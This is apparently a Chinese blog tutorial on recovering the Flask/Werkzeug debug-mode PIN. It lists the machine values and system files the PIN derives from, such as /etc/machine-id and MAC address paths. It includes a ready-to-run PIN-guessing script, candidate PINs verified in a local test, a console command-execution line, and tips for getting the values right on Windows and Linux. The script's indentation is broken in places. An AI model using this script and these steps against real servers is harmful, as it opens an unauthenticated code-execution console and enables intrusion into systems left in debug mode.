flask debug模式下pin码安全

flask在开启debug模式时其会生成一个pin码,在同一台机器上,多次重启Flask服务,PIN码值不改变。

这说明PIN码是经过运算生成而不是随机生成的,经过网络搜索,我找到了生成pin 码的流程,生成的pin 码主要由6个值决定的

  1. 当前计算机的用户名
  2. flask.app
  3. Flask
  4. E:\flask-file\flask\lib\site-packages\flask\app.py
  5. 当前计算机网卡的Mac地址(linux下获取该值可以访问:/sys/class/net/eth0(eth1,ens33,eth2)/address)
  6. win下SOFTWARE\Microsoft\Cryptography注册表的值或者Linux下某个固定文件的值(Linux下访问/etc/machine-id 或 /proc/sys/kernel/random/boot_id)

在默认配置里找到代码并将其修改,得到猜解pin码的脚本

import hashlib
from itertools import chain
def get_pin(mac):
probably_public_bits = [
    'SUN',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    'E:\\flask-file\\flask\\lib\\site-packages\\flask\\app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    mac ,#'55069833074577',# str(uuid.getnode()),  /sys/class/net/eth0(eth1,ens33,eth2)/address
    '2aa76823-5ed2-44aa-97de-ac3f97b955e2'# get_machine_id(), /etc/machine-id  , /proc/sys/kernel/random/boot_id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

if __name__ == '__main__':
maclist = ['55069833074577','1099493587180','115366132066698','117565155322249','345052807176','115366132066697']
for mac in maclist:
    get_pin(mac)

这里用本地环境验证一下

故意将代码写错以触发debug模式

点击最右侧的小图标会让我们输入pin码

现在我们开始计算PIN码

  1. 用户名:SUN
  2. flask.app
  3. Flask
  4. E:\flask-file\flask\lib\site-packages\flask\app.py
  5. [‘55069833074577’,’1099493587180’,’115366132066698’,’117565155322249’,’345052807176’,’115366132066697’]
  6. 2aa76823-5ed2-44aa-97de-ac3f97b955e2

运行脚本会计算出6个pin 码

231-484-767

177-131-120

142-563-096

112-007-296

244-772-099

236-421-014

经过测试,244-772-099是正确的pin码

linux下调试可用:

import os

os.popen("ls /").read()

这里有几个坑需要注意一下:

  1. E:\flask-file\flask\lib\site-packages\flask\app.py windows下是不区分大小写的,有时应将路径的大写字母改为小写字母
  2. E:\flask-file\flask\lib\site-packages\flask\app.py 这个路径有时也会是E:\flask-file\flask\lib\site-packages\flask\app.pyc
  3. Linux下,第六个数值在获取时,当/etc/machine-id文件显示无任何内容时,可能是该文件为空或者是不存在,这两者是有区别的,当该文件为空时,第六个数值就是“” 而当文件不存在时,第六个数值是/proc/sys/kernel/random/boot_id文件的值